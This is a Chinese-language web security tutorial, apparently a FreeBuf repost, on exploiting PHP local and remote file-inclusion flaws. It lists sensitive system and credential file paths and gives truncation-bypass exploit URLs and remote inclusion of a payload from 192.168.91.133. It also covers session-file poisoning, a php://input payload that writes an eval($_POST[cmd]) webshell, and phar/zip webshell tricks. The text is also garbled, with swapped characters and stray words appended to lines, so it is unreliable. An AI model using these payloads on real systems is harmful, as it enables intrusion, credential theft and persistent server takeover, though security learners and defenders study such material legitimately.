《Web安全实战》系列集合了WEB类常见的各类漏洞,笔者根据本身在Web安全领域中学习和工做的经验,对漏洞原理和漏洞利用面进行了总结分析,致力于漏洞准确性、丰富性,但愿对WEB安全工做者、WEB安全学习者能有所帮助,减小获取知识的时间成本。php
服务器执行PHP文件时,能够经过文件包含函数加载另外一个文件中的PHP代码,而且当PHP来执行,这会为开发者节省大量的时间。这意味着您能够建立供全部网页引用的标准页眉或菜单文件。当页眉须要更新时,您只更新一个包含文件就能够了,或者当您向网站添加一张新页面时,仅仅须要修改一下菜单文件(而不是更新全部网页中的连接)。html
PHP中文件包含函数有如下四种:mysql
require()linux
require_once()sql
include()shell
include_once()apache
include
和require
区别主要是,include
在包含的过程当中若是出现错误,会抛出一个警告,程序继续正常运行;而require
函数出现错误的时候,会直接报错并退出程序的执行。windows
而include_once()
,require_once()
这两个函数,与前两个的不一样之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的状况下,你想确保它只被包括一次以免函数重定义,变量从新赋值等问题。浏览器
文件包含函数加载的参数没有通过过滤或者严格的定义,能够被用户控制,包含其余恶意文件,致使了执行了非预期的代码。安全
示例代码
<?php $filename = $_GET['filename']; include($filename); ?>
例如:
$_GET['filename']
参数开发者没有通过严格的过滤,直接带入了include的函数,攻击者能够修改$_GET['filename']
的值,执行非预期的操做。
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
测试结果:
经过目录遍历漏洞能够获取到系统中其余文件的内容:
常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 帐户信息
/etc/shadow // 帐户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
利用条件:
session的存储位置能够获取。
1. 经过phpinfo的信息能够获取到session的存储位置。
经过phpinfo的信息,获取到session.save_path为/var/lib/php/session:
2. 经过猜想默认的session存放位置进行尝试。
如linux下默认存储在/var/lib/php/session目录下:
session中的内容能够被控制,传入恶意代码。
示例:
漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid能够经过开发者模式获取。
因此session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。
到服务器的/var/lib/php/session目录下查看果真存在此文件,内容为:
username|s:4:"ctfs";
[root@c21336db44d2 session]
漏洞利用
经过上面的分析,能够知道ctfs传入的值会存储到session文件中,若是存在本地文件包含漏洞,就能够经过ctfs写入恶意代码到session文件中,而后经过文件包含漏洞执行此恶意代码getshell。
当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"
攻击者经过phpinfo()信息泄露或者猜想能获取到session存放的位置,文件名称经过开发者模式可获取到,而后经过文件包含的漏洞解析恶意代码getshell。
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
测试代码:
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
测试结果:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
路径长度截断
条件:windows OS,点号须要长于256;linux OS 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
测试代码:
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
EXP:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断
条件:windows OS,点号须要长于256
测试代码:
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
EXP:
http://www.ctfs-wiki.com/FI/FI.php ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数能够加载远程文件,若是远程文件没通过严格的过滤,致使了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen = On(是否容许打开远程文件)
allow_url_include = On(是否容许include/require远程文件)
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
经过远程文件包含漏洞,包含php.txt能够解析。
http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
测试结果:
测试代码:
<?php include($_GET['filename'] . ".html"); ?>
代码中多添加了html后缀,致使远程包含的文件也会多一个html后缀。
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
还有哪些能够绕过?用burp跑一遍发现空格也能够绕过:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
PHP 带有不少内置 URL 风格的封装协议,可用于相似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能经过 stream_wrapper_register() 来注册自定义的封装协议。
PHP 提供了一些杂项输入/输出(IO)流,容许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及能够操做其余读取写入文件资源的过滤器。
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 同样。
条件:只是读取,须要开启 allow_url_fopen,不须要开启 allow_url_include;
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
能够访问请求的原始数据的只读流。便可以直接读取到POST上没有通过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
用法:?file=php://input 数据利用POST传过去。
碰到file_get_contents()就要想到用php://input绕过,由于php伪协议也是能够利用http协议的,便可以使用POST方式传数据,具体函数意义下一项;
测试代码:
<?php echo file_get_contents("php://input"); ?>
测试结果:
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就能够形成任意代码执行,在这能够理解成远程文件包含漏洞(RFI),即POST过去PHP代码,便可执行。
若是POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
测试结果:
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就能够形成任意代码执行,在这能够理解成远程文件包含漏洞(RFI),即POST过去PHP代码,便可执行;
经过file协议能够访问本地文件系统,读取到文件的内容
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
数据流封装器,和php://类似都是利用了流的概念,将本来的include的文件流重定向到了用户可控制的输入流中,简单来讲就是执行文件的包含方法包含了你的输入流,经过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
data://(读取文件)
和php伪协议的input相似,碰到file_get_contents()来用; <?php // 打印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>
注意:<span ><?php phpinfo();,这类执行代码最后没有?></span>闭合;
若是php.ini里的allow_url_include=On(PHP < 5.3.0),就能够形成任意代码执行,同理在这就能够理解成远程文件包含漏洞(RFI) 测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
这个参数是就是php解压缩包的一个函数,无论后缀是什么,都会当作压缩包来解压。
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包须要是zip协议压缩,rar不行,将木马文件压缩后,改成其余任意格式的文件均可以正常使用。 步骤: 写一个一句话木马文件shell.php,而后用zip协议压缩为shell.zip,而后将后缀改成png等其余格式。
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
zip伪协议和phar协议相似,可是用法不同。
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。
条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才能够 #在浏览器中要编码为%23,不然浏览器默认不会传输特殊字符。
测试代码:
<?php $filename = $_GET['filename']; include($filename); ?>
*本文做者:山东安云,转载请注明来自FreeBuf.COM